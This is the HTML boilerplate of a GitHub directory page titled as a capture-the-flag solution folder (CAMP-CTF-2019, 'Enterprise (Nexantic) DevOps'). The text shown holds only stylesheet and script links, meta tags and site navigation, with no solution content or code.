data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CAMP-CTF-2019/solutions/Enterprise (Nexantic) DevOps at master · OlfillasOdikno/CAMP-CTF-2019 · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="CC73:7430:517333F:53A3542:6412244E" data-pjax-transient="true"/><meta name="html-safe-nonce" content="50263f6b32d4bd06d2ef0623f6744a01ca74f38e0e369fb9addd1cae67dba90f" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDQzczOjc0MzA6NTE3MzMzRjo1M0EzNTQyOjY0MTIyNDRFIiwidmlzaXRvcl9pZCI6IjI4NjYwNzgyOTM4MDUwNjcwMiIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="f2ccb530b61075205a6cf415cffe9e22759e8dd339b1bfb663b2ea2dc0da9945" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:205657999" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to OlfillasOdikno/CAMP-CTF-2019 development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/f49188fdbc81ad6deb2306cd97e69ebd065c1ba4e3f7cd26478c7058bd4c13b6/OlfillasOdikno/CAMP-CTF-2019" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CAMP-CTF-2019/solutions/Enterprise (Nexantic) DevOps at master · OlfillasOdikno/CAMP-CTF-2019" /><meta name="twitter:description" content="Contribute to OlfillasOdikno/CAMP-CTF-2019 development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/f49188fdbc81ad6deb2306cd97e69ebd065c1ba4e3f7cd26478c7058bd4c13b6/OlfillasOdikno/CAMP-CTF-2019" /><meta property="og:image:alt" content="Contribute to OlfillasOdikno/CAMP-CTF-2019 development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CAMP-CTF-2019/solutions/Enterprise (Nexantic) DevOps at master · OlfillasOdikno/CAMP-CTF-2019" /><meta property="og:url" content="https://github.com/OlfillasOdikno/CAMP-CTF-2019" /><meta property="og:description" content="Contribute to OlfillasOdikno/CAMP-CTF-2019 development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/OlfillasOdikno/CAMP-CTF-2019 git https://github.com/OlfillasOdikno/CAMP-CTF-2019.git">
<meta name="octolytics-dimension-user_id" content="19648539" /><meta name="octolytics-dimension-user_login" content="OlfillasOdikno" /><meta name="octolytics-dimension-repository_id" content="205657999" /><meta name="octolytics-dimension-repository_nwo" content="OlfillasOdikno/CAMP-CTF-2019" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="205657999" /><meta name="octolytics-dimension-repository_network_root_nwo" content="OlfillasOdikno/CAMP-CTF-2019" />
<link rel="canonical" href="https://github.com/OlfillasOdikno/CAMP-CTF-2019/tree/master/solutions/Enterprise%20(Nexantic)%20DevOps" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
